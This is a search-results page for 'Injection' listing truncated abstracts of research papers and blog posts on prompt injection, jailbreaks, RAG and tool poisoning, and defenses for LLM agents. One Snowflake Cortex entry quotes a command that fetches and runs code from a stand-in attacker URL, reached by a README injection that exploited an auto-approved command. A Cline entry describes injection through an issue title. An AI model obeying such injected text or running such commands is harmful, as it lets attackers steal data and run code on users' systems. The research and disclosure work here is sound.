Results for “Injection”

arXiv (research papers) Haoyu Wang SI

SafeClaw-R: Towards Safe and Secure Multi-Agent Personal Assistants

LLM-based multi-agent systems (MASs) are transforming personal productivity by autonomously executing complex, cross-platform tasks. Frameworks such as OpenClaw demonstrate the potential of locally deployed agents integrated with personal data and services, but this autonomy introduces significant safety and security risks. Unintended actions from LLM reasoning failures can cause irreversible harm, while prompt injection attacks may exfiltrate credentials or compromise the…

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arXiv (research papers) Hieu Xuan Le SI

Prompt Attack Detection with LLM-as-a-Judge and Mixture-of-Models

Prompt attacks, including jailbreaks and prompt injections, pose a critical security risk to Large Language Model (LLM) systems. In production, guardrails must mitigate these attacks under strict low-latency constraints, resulting in a deployment gap in which lightweight classifiers and rule-based systems struggle to generalize under distribution shift, while high-capacity LLM-based judges remain too slow or costly for live enforcement. In this work, we examine whether…

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arXiv (research papers) Haozhen Wang SI

PIDP-Attack: Combining Prompt Injection with Database Poisoning Attacks on Retrieval-Augmented Generation Systems

Large Language Models (LLMs) have demonstrated remarkable performance across a wide range of applications. However, their practical deployment is often hindered by issues such as outdated knowledge and the tendency to generate hallucinations. To address these limitations, Retrieval-Augmented Generation (RAG) systems have been introduced, enhancing LLMs with external, up-to-date knowledge sources. Despite their advantages, RAG systems remain vulnerable to adversarial attacks…

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arXiv (research papers) Alexander Panfilov SI

Claudini: Autoresearch Discovers State-of-the-Art Adversarial Attack Algorithms for LLMs

We show that AI agents are capable of discovering novel algorithms for adversarial attacks against LLMs, advancing the state of the art on white-box jailbreaking and prompt injection evaluations. We deploy frontier agents, such as Claude Code and Codex, in an autoresearch loop with access to a library of 30+ prior methods and an evaluation script with a fixed compute budget. We show this pipeline to be effective in jailbreaking OpenAI's GPT-OSS-Safeguard-20B and in prompt…

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arXiv (research papers) Yulin Shen SI

Invisible Threats from Model Context Protocol: Generating Stealthy Injection Payload via Tree-based Adaptive Search

Recent advances in the Model Context Protocol (MCP) have enabled large language models (LLMs) to invoke external tools with unprecedented ease. This creates a new class of powerful and tool augmented agents. Unfortunately, this capability also introduces an under explored attack surface, specifically the malicious manipulation of tool responses. Existing techniques for indirect prompt injection that target MCP suffer from high deployment costs, weak semantic coherence, or…

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arXiv (research papers) Qianlong Lan SI

The Cognitive Firewall:Securing Browser Based AI Agents Against Indirect Prompt Injection Via Hybrid Edge Cloud Defense

Deploying large language models (LLMs) as autonomous browser agents exposes a significant attack surface in the form of Indirect Prompt Injection (IPI). Cloud-based defenses can provide strong semantic analysis, but they introduce latency and raise privacy concerns. We present the Cognitive Firewall, a three-stage split-compute architecture that distributes security checks across the client and the cloud. The system consists of a local visual Sentinel, a cloud-based Deep…

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arXiv (research papers) Ali Dehghantanha SI

SoK: The Attack Surface of Agentic AI - Tools and Autonomy

Recent AI systems combine large language models with tools, external knowledge via retrieval-augmented generation (RAG), and even autonomous multi-agent decision loops. This agentic AI paradigm greatly expands capabilities - but also vastly enlarges the attack surface. In this systematization, we map out the trust boundaries and security risks of agentic LLM-based systems. We develop a comprehensive taxonomy of attacks spanning prompt-level injections, knowledge-base…

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arXiv (research papers) Charoes Huang SI

Model Context Protocol Threat Modeling and Analyzing Vulnerabilities to Prompt Injection with Tool Poisoning

The Model Context Protocol (MCP) has rapidly emerged as a universal standard for connecting AI assistants to external tools and data sources. While MCP simplifies integration between AI applications and various services, it introduces significant security vulnerabilities, particularly on the client side. In this work we conduct threat modelings of MCP implementations using STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of…

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arXiv (research papers) Charoes Huang SI

Are AI-assisted Development Tools Immune to Prompt Injection?

Prompt injection is listed as the number-one vulnerability class in the OWASP Top 10 for LLM Applications that can subvert LLM guardrails, disclose sensitive data, and trigger unauthorized tool use. Developers are rapidly adopting AI-assisted development tools built on the Model Context Protocol (MCP). However, their convenience comes with security risks, especially prompt-injection attacks delivered via tool-poisoning vectors. While prior research has studied prompt…

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arXiv (research papers) Abed K. Musaffar SI

Detection of adversarial intent in Human-AI teams using LLMs

Large language models (LLMs) are increasingly deployed in human-AI teams as support agents for complex tasks such as information retrieval, programming, and decision-making assistance. While these agents' autonomy and contextual knowledge enables them to be useful, it also exposes them to a broad range of attacks, including data poisoning, prompt injection, and even prompt engineering. Through these attack vectors, malicious actors can manipulate an LLM agent to provide…

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arXiv (research papers) Shawn Li SI

The Autonomy Tax: Defense Training Breaks LLM Agents

Large language model (LLM) agents increasingly rely on external tools (file operations, API calls, database transactions) to autonomously complete complex multi-step tasks. Practitioners deploy defense-trained models to protect against prompt injection attacks that manipulate agent behavior through malicious observations or retrieved content. We reveal a fundamental \textbf{capability-alignment paradox}: defense training designed to improve safety systematically destroys…

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arXiv (research papers) Md Takrim Ul Alam SI

Prompt Control-Flow Integrity: A Priority-Aware Runtime Defense Against Prompt Injection in LLM Systems

Large language models (LLMs) deployed behind APIs and retrieval-augmented generation (RAG) stacks are vulnerable to prompt injection attacks that may override system policies, subvert intended behavior, and induce unsafe outputs. Existing defenses often treat prompts as flat strings and rely on ad hoc filtering or static jailbreak detection. This paper proposes Prompt Control-Flow Integrity (PCFI), a priority-aware runtime defense that models each request as a structured…

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Simon Willison SI

Snowflake Cortex AI Escapes Sandbox and Executes Malware

Snowflake Cortex AI Escapes Sandbox and Executes Malware PromptArmor report on a prompt injection attack chain in Snowflake's Cortex Agent, now fixed. The attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README. The attack caused the agent to execute this code: cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)) Cortex listed cat commands as safe to run without human…

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arXiv (research papers) Vanshaj Khattar SI

Amplification Effects in Test-Time Reinforcement Learning: Safety and Reasoning Vulnerabilities

Test-time training (TTT) has recently emerged as a promising method to improve the reasoning abilities of large language models (LLMs), in which the model directly learns from test data without access to labels. However, this reliance on test data also makes TTT methods vulnerable to harmful prompt injections. In this paper, we investigate safety vulnerabilities of TTT methods, where we study a representative self-consistency-based test-time learning method: test-time…

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arXiv (research papers) Mateusz Dziemian SI

How Vulnerable Are AI Agents to Indirect Prompt Injections? Insights from a Large-Scale Public Competition

LLM based agents are increasingly deployed in high stakes settings where they process external data sources such as emails, documents, and code repositories. This creates exposure to indirect prompt injection attacks, where adversarial instructions embedded in external content manipulate agent behavior without user awareness. A critical but underexplored dimension of this threat is concealment: since users tend to observe only an agent's final response, an attack can conceal…

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arXiv (research papers) Chenlong Yin SI

PISmith: Reinforcement Learning-based Red Teaming for Prompt Injection Defenses

Prompt injection poses serious security risks to real-world LLM applications, particularly autonomous agents. Although many defenses have been proposed, their robustness against adaptive attacks remains insufficiently evaluated, potentially creating a false sense of security. In this work, we propose PISmith, a reinforcement learning (RL)-based red-teaming framework that systematically assesses existing prompt-injection defenses by training an attack LLM to optimize injected…

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arXiv (research papers) Darren Cheng SI

Agent Privilege Separation in OpenClaw: A Structural Defense Against Prompt Injection

Prompt injection remains one of the most practical attack vectors against LLM-integrated applications. We replicate the Microsoft LLMail-Inject benchmark (Greshake et al., 2024) against current generation models running inside OpenClaw, an open source multitool agent platform. Our proposed defense combines two mechanisms: agent isolation, implemented as a privilege separated two-agent pipeline with tool partitioning, and JSON formatting, which produces structured output that…

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arXiv (research papers) J Alex Corll SI

The Mirror Design Pattern: Strict Data Geometry over Model Scale for Prompt Injection Detection

Prompt injection defenses are often framed as semantic understanding problems and delegated to increasingly large neural detectors. For the first screening layer, however, the requirements are different: the detector runs on every request and therefore must be fast, deterministic, non-promptable, and auditable. We introduce Mirror, a data-curation design pattern that organizes prompt injection corpora into matched positive and negative cells so that a classifier learns…

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arXiv (research papers) Frank Li SI

OpenClaw PRISM: A Zero-Fork, Defense-in-Depth Runtime Security Layer for Tool-Augmented LLM Agents

Tool-augmented LLM agents introduce security risks that extend beyond user-input filtering, including indirect prompt injection through fetched content, unsafe tool execution, credential leakage, and tampering with local control files. We present OpenClaw PRISM, a zero-fork runtime security layer for OpenClaw-based agent gateways. PRISM combines an in-process plugin with optional sidecar services and distributes enforcement across ten lifecycle hooks spanning message…

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arXiv (research papers) Indranil Halder SI

Jailbreak Scaling Laws for Large Language Models: Polynomial-Exponential Crossover

Adversarial attacks can reliably steer safety-aligned large language models toward unsafe behavior. Empirically, we find that adversarial prompt-injection attacks can amplify attack success rate from the slow polynomial growth observed without injection to exponential growth with the number of inference-time samples. We first identify a minimal statistical mechanism for these two regimes by giving a small set of assumptions on the distribution of safe generation across…

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arXiv (research papers) Yu He SI

AttriGuard: Defeating Indirect Prompt Injection in LLM Agents via Causal Attribution of Tool Invocations

LLM agents are highly vulnerable to Indirect Prompt Injection (IPI), where adversaries embed malicious directives in untrusted tool outputs to hijack execution. Most existing defenses treat IPI as an input-level semantic discrimination problem, which often fails to generalize to unseen payloads. We propose a new paradigm, action-level causal attribution, which secures agents by asking why a particular tool call is produced. The central goal is to distinguish tool calls…

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arXiv (research papers) Chuan Guo Michael Pokorny SI

IH-Challenge: A Training Dataset to Improve Instruction Hierarchy on Frontier LLMs

Instruction hierarchy (IH) defines how LLMs prioritize system, developer, user, and tool instructions under conflict, providing a concrete, trust-ordered policy for resolving instruction conflicts. IH is key to defending against jailbreaks, system prompt extractions, and agentic prompt injections. However, robust IH behavior is difficult to train: IH failures can be confounded with instruction-following failures, conflicts can be nuanced, and models can learn shortcuts such…

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arXiv (research papers) Sumit Ranjan SI

VoiceSHIELD-Small: Real-Time Malicious Speech Detection and Transcription

Voice interfaces are quickly becoming a common way for people to interact with AI systems. This also brings new security risks, such as prompt injection, social engineering, and harmful voice commands. Traditional security methods rely on converting speech to text and then filtering that text, which introduces delays and can ignore important audio cues. This paper introduces VoiceSHIELD-Small, a lightweight model that works in real time. It can transcribe speech and detect…

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arXiv (research papers) Yuxu Ge SI

Governance Architecture for Autonomous Agent Systems: Threats, Framework, and Engineering Practice

Autonomous agents powered by large language models introduce a class of execution-layer vulnerabilities -- prompt injection, retrieval poisoning, and uncontrolled tool invocation -- that existing guardrails fail to address systematically. In this work, we propose the Layered Governance Architecture (LGA), a four-layer framework comprising execution sandboxing (L1), intent verification (L2), zero-trust inter-agent authorization (L3), and immutable audit logging (L4). To…

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Simon Willison SI

Clinejection — Compromising Cline's Production Releases just by Prompting an Issue Triager

Clinejection — Compromising Cline's Production Releases just by Prompting an Issue Triager Adnan Khan describes a devious attack chain against the Cline GitHub repository, which started with a prompt injection attack in the title of an issue opened against the repo. Cline were running AI-powered issue triage using the anthropics/claude-code-action@v1 action, configured to run Claude Code with --allowedTools "Bash,Read,Write,..." any time any user opened an issue in their…

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arXiv (research papers) Junchen Li SI

When Safety Becomes a Vulnerability: Exploiting LLM Alignment Homogeneity for Transferable Blocking in RAG

Retrieval-Augmented Generation (RAG) systems are vulnerable to blocking attacks, in which poisoned documents cause large language models (LLMs) to refuse benign queries. Existing attacks rely on adversarial suffixes or explicit instructions, which are increasingly ineffective against modern LLMs, susceptible to prompt injection filtering, or require feedback from the target system. We observe overlapping risk categories and refusal criteria across safety-aligned LLMs, a…

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arXiv (research papers) Neha Nagaraja SI

Image-based Prompt Injection: Hijacking Multimodal LLMs through Visually Embedded Adversarial Instructions

Multimodal Large Language Models (MLLMs) integrate vision and text to power applications, but this integration introduces new vulnerabilities. We study Image-based Prompt Injection (IPI), a black-box attack in which adversarial instructions are embedded into natural images to override model behavior. Our end-to-end IPI pipeline incorporates segmentation-based region selection, adaptive font scaling, and background-aware rendering to conceal prompts from human perception…

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arXiv (research papers) Neha Nagaraja SI

Goal-Driven Risk Assessment for LLM-Powered Systems: A Healthcare Case Study

While incorporating LLMs into systems offers significant benefits in critical application areas such as healthcare, new security challenges emerge due to the potential cyber kill chain cycles that combine adversarial model, prompt injection and conventional cyber attacks. Threat modeling methods enable the system designers to identify potential cyber threats and the relevant mitigations during the early stages of development. Although the cyber security community has…

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arXiv (research papers) Xiaoyi Pang SI

DualSentinel: A Lightweight Framework for Detecting Targeted Attacks in Black-box LLM via Dual Entropy Lull Pattern

Recent intelligent systems integrate powerful Large Language Models (LLMs) through APIs, but their trustworthiness may be critically undermined by targeted attacks like backdoor and prompt injection attacks, which secretly force LLMs to generate specific malicious sequences. Existing defensive approaches for such threats typically rely on high access rights, impose prohibitive costs, and hinder normal inference, rendering them impractical for real-world scenarios. To solve…

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arXiv (research papers) Martin Odersky SI

Tracking Capabilities for Safer Agents

AI agents that interact with the real world through tool calls pose fundamental safety challenges: agents might leak private information, cause unintended side effects, or be manipulated through prompt injection. To address these challenges, we propose to put the agent in a programming-language-based "safety harness": instead of calling tools directly, agents express their intentions as code in a capability-safe language: Scala 3 with capture checking. Capabilities are…

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